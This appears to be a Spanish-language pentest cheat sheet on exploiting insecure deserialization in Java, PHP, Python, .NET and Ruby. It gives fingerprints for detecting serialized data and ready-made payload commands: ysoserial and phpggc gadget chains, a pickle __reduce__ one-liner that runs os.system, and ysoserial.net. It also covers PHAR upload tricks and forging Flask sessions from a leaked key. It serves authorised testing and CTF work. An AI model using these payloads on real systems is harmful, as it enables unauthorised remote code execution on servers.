Identificar el lenguaje/librería PRIMERO — no hay payload universal. Verificar la versión exacta para elegir la gadget chain. Relacionado: writeup CTF [[2026-09-22-exa-writeup-ctf-deserializacion-insegura-java-php-python-gadget-]] y el
unserializereal en change.php de un cliente (ver [[Playbook de hallazgos recurrentes del portfolio]]).
Fingerprint (cómo huele en el wire)
- Java: base64 que empieza con
rO0AB(o hexAC ED 00 05). Cookies/ViewState/parámetros/RMI/JMX. - PHP: formato
O:8:"ClassName":N:{...}(oa:/s:); a veces porphar://en un sink de filesystem. - Python pickle: base64 que empieza con
gASV/gAJ/\x80\x04. - .NET:
TypeNameHandlingen JSON.NET,BinaryFormatter, ViewState (__VIEWSTATE),LosFormatter. - Ruby: Marshal (
\x04\x08), o YAML!ruby/object.
Java
- ysoserial:
java -jar ysoserial.jar CommonsCollections6 'cmd' | base64. Elegir gadget según libs en el classpath (CommonsCollections1-7, Spring, Groovy, JRMP, etc.). - Si hay allowlist de clases (
ObjectInputStreamendurecido): buscar clases válidas que sirvan de puente. - ViewState .NET/Java, RMI/JMX (
ysoserial JRMPListener/JRMPClient).
PHP
- phpggc:
phpggc Monolog/RCE1 system id -b(genera la cadena en base64). Frameworks: Laravel, Symfony, Monolog, Guzzle, WordPress. - PHAR deserialization: subir un
.phar(disfrazado de imagen con metadata serializada) y disparar un sink filesystem (file_exists,fopen,getimagesize) conphar://ruta. - POP chains manuales leyendo el código:
__wakeup/__destruct/__toString.
Python
pickle/__reduce__:class E: __reduce__=lambda self:(os.system,('id',))→pickle.dumps(E()).- Werkzeug/Flask
SECRET_KEYfiltrado → forjar sesión firmada con pickle. YAMLyaml.loadsinSafeLoader.
.NET
- ysoserial.net:
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd" -o base64. TypeNameHandling.All/Autoen Json.NET,BinaryFormatter.Deserialize, ViewState sin MAC (__VIEWSTATE+blacklist3rpara la machineKey).
Cheatsheet de referencia
ysoserial (Java), phpggc (PHP), ysoserial.net (.NET), blacklist3r (ViewState). Repo:
github.com/ljagiello/ctf-skills (server-side-deser.md) como checklist rápido.